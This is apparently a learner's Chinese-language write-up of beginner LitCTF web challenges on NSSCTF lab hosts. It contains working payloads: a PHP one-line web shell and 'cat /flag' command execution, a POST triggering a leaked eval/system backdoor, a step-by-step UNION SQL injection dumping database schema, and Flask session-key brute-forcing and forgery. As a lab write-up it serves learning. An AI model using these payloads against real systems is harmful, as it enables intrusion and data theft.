web入门题单2
链接
我Flag呢?
查看源代码
就当无事发生
考察的git commit
好像github页面没办法直接搜索,我git clone一下试试
git clone https://github.com/ProbiusOfficial/ProbiusOfficial.github.io.git |
git log -S 'LitCTF' |
git show 2d02084c5aa044d5dae3fc02a2a70248ab5500b5 |
第二条指令就是从commit中找到关于删除或增加指定字符串的commit
第三条就是展示具体的commit内容
导弹迷踪
在F12中查找代码即可
找到’mLevel’等于6时的结果即可
1zjs
0.o?
在index.umd.js里面搜索php,发现了 /f@k3f1ag.php
访问之后发现是brainfuck,然后在控制台输入就能得到flag(不知道为什么在线网站不行?)
Follow me and hack me
讲get和post传参
详见上一份题单
curl -d "Challenge=i'm_c0m1ng" http://node5.anna.nssctf.cn:23066/?CTF=Lit2023 |
Vim yyds
靠的是vim泄漏
首先用dirsearch扫一下目录
第一次意外退出产生的备份文件名为:.filename.swp |
irsearch -u http://node4.anna.nssctf.cn:28589/ |
能够发现有一个/.index.php.swp ,我们访问一下就能得到部分源码,看起来非常丑陋,不知道是我的问题还是本来就这样
</body> </main> </div> ?> } eval(system($_POST['cmd'])); echo "<p>Oh You got my password!</p>"; if ($_POST['password'] === base64_encode($password)) { echo "<p>can can need Vim </p>"; $password = "Give_Me_Your_Flag"; error_reporting(0); <?php <div class="can_can_vim"> </h3> 队里师傅说Vim是世界上最好的编辑器,不接受反驳 <h3 class="vim_said"> </div> </h1> Vim yyds <h1 class="vim_yyds"> <img src="https://www.bing.com/th?id=OSAAS.7B95FA2D97CE022F5E7949F60E350A25&pid=TechQna"></img> <div class="vim"> <main><body></head> </style> } font-size: 20; p { br, } align-items: center; justify-content: center; display: flex; color: #39c2ff; h3.vim_said { } margin-left: 5px; margin-top: 50; justify-content: center; align-items: flex-start; display: flex; color: #50f728; h1.vim_yyds { } height: auto; width: 8rem; border: none; img { } justify-content: center; vertical-align: middle; align-content: center; display: flex; div.vim { } justify-content: center; align-items: center; display: flex; html { body, <style type="text/css"> <meta charset="UTF-8"><head> |
提取关键点:
eval(system($_POST['cmd'])); echo "<p>Oh You got my password!</p>"; if ($_POST['password'] === base64_encode($password)) { echo "<p>can can need Vim </p>"; $password = "Give_Me_Your_Flag"; |
大概就是password是base64编码的Give_Me_Your_Flag,然后执行cmd。
可以使用hackbar进行访问
password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&cmd=cat /flag |
作业管理系统
F12界面即可看到用户名和密码。
之后我们可以上传文件
上传一个一句话木马即可
@eval($_POST[1]); |
之后我使用hackbar进行操作
1=system('cat /flag'); |
即可得到flag
PHP是世界上最好的语言!!
F12即可看到有任意代码执行
$('#run').click(function(){ |
我在网页上输入php代码不清楚为什么没办法执行(好像是当时存在网络问题没加载出来),但是我们可以直接使用hackbar向do.php发送数据
type=run&php_code=<?php system("cat /flag"); ?> |
成功得到flag
这是什么?SQL !注一下 !
开始学SQL注入了
OK,先学一下SQL再说
好吧,学完了还是没多少思路,只能得到username和password 不知道怎么出来flag
我的注入:
1)))))) OR 1=1 -- |
首先想办法把前面的括号闭合掉,然后OR 1=1 ,之后注释
注意–后面有一个空格
结果:
Array ( [0] => Array ( [username] => tanji [password] => OHHHHHHH ) [1] => Array ( [username] => fake_flag [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) ) |
使用hackbar来进行sql注入
http://node5.anna.nssctf.cn:26645/?id=1%29%29%29%29%29%29+OR+1%3D1 union select 1,group_concat(schema_name) from information_schema.schemata +--+ |
SELECT username,password FROM users WHERE id = ((((((1)))))) OR 1=1 union select 1,group_concat(schema_name) from information_schema.schemata -- )))))) |
结果:
Array ( [0] => Array ( [username] => tanji [password] => OHHHHHHH ) [1] => Array ( [username] => fake_flag [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) [2] => Array ( [username] => 1 [password] => information_schema,mysql,ctftraining,performance_schema,test,ctf ) ) |
最后的就是库名
然后就是爆库的表名
http://node5.anna.nssctf.cn:23874/?id=1%29%29%29%29%29%29+OR+1%3D1 union select 1,group_concat(table_name,":",column_name) from information_schema.columns where table_schema='ctftraining'+--+ |
Array ( [0] => Array ( [username] => tanji [password] => OHHHHHHH ) [1] => Array ( [username] => fake_flag [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) [2] => Array ( [username] => 1 [password] => flag:flag,news:id,news:title,news:content,news:time,users:id,users:username,users:password,users:ip,users:time ) ) |
可以看到出现了flag表flag列
接下来就可以直接得到flag
http://node5.anna.nssctf.cn:23874/?id=1%29%29%29%29%29%29+OR+1%3D1 union select 1,flag from ctftraining.flag+--+ |
Array ( [0] => Array ( [username] => tanji [password] => OHHHHHHH ) [1] => Array ( [username] => fake_flag [password] => F1rst_to_Th3_eggggggggg!} (4/4) ) [2] => Array ( [username] => 1 [password] => NSSCTF{3a725d38-d60f-4fd0-a8f3-6cb059ee74ae} ) ) |
Ping
我最开始的想法:直接在elements修改check_ip函数,一直返回true,从而达到绕过验证的目的,验证一直失败。
wp讲了四种方法。
- 禁用javascript
- console中输入
check_ip=function(){} - hackbar发包
- burpsuite抓包发包
下面是gpt告诉我为什么我的不行,但是第二中方法行
为什么 check_ip = function(){} 能生效?
这是因为你在 Console 中执行了全局变量重新赋值:
check_ip = function(){}这条语句是在 全局作用域 window 对象上重新定义了一个新的函数。- HTML 中
<form onsubmit="return check_ip()">会在提交时从window.check_ip上取这个函数来执行。
所以你等于是用一个“空函数”替换掉了原先定义的函数。只要这个函数没有 return false,表单就会默认提交。
❌ 为什么你直接修改 <script> 中的 check_ip() 函数体却没效果?
如果你在 DevTools 的 Sources 面板中直接双击 check_ip() 所在的 <script> 内容去改(或者右键“Edit as HTML”改 <script> 标签),这不会生效的原因是:
📌 1. <script> 的 JS 是一次性执行的
- 页面加载时,浏览器会把
<script>中的 JavaScript 执行一遍; - 然后就不会再执行或“重新解释”那段代码了;
- 所以你在 Elements 里改
<script>的内容,不会再次执行它,也不会更新函数。
📌 2. 函数已经“绑定”到 form 的 onsubmit 上了
- 在
<form onsubmit="return check_ip()">中,浏览器其实会把这段 inline 代码翻译为一个函数,并与当前的check_ip函数绑定; - 如果你后来去改了
check_ip()的函数体,但 onsubmit 事件仍然指向旧的版本(不是你修改后的); - 所以你看到“改了函数体,但结果不变”的情况。
✅ 为什么重新赋值 check_ip = function(){} 就能生效?
因为这是 直接把全局的 check_ip 指针指向了一个新函数,而 onsubmit 在触发时会去读取 window.check_ip(),于是就执行了你新定义的空函数。
大概意思是说,最开始的时候check_ip就已经绑定上onsubmmit了,之后我怎么修改都没用,绑定的还是老的check_ip,但是console上我是把全局变量改掉了,因此能成功。
Flag 点击就送!
好像涉及到过多知识了,未来再搞,简单学学
大概了解了一下,是session伪造
session是什么?
因为 HTTP 是无状态协议,每次请求都是独立的。举个例子: |
| 说明 | Cookie | Session |
|---|---|---|
| 存储位置 | 浏览器(客户端) | 服务器端 |
| 安全性 | 容易被伪造 | 更安全(不暴露数据) |
| 存储数据 | 只能存字符串 | 可以存各种结构数据 |
| 控制方式 | 前端控制 | 后端控制(配合 Cookie 识别) |
还是分不太清楚session和cookie的区别
反正session也是服务器用来标识客户的方式。
这个题里session内容就在cookie里面
抓包可以看到cookie里面有下面的内容
Hm_lvt_648a44a949074de73151ffaa0a832aec=1744343990,1744360141,1744448784,1744616660; session=eyJuYW1lIjoidGdyZGRmNTUifQ.aEwKUg.7P8yTPtTB0egjrtiCJngK5tV44E |
其中刚好有session的内容,其中前三分之一的部分是base64,后面内容的部分是签名
eyJuYW1lIjoidGdyZGRmNTUifQ |
上面的就是下面数据的base64
然后这个用的是flask框架
flask是什么?
Flask 是一个用 Python 编写的轻量级 Web 框架,让你可以快速构建网页或 API 应用。简单来说,它是一个工具包,让你用 Python 写出一个可以在浏览器中访问的网站或后台服务。
flask设置session需要一个密钥,这个密钥可以爆破出来,不过需要有一个包含该密钥的字典
最后爆出来密钥是’LitCTF’
之后使用该密钥对
{"name":"admin"} |
进行加密,然后发包即可











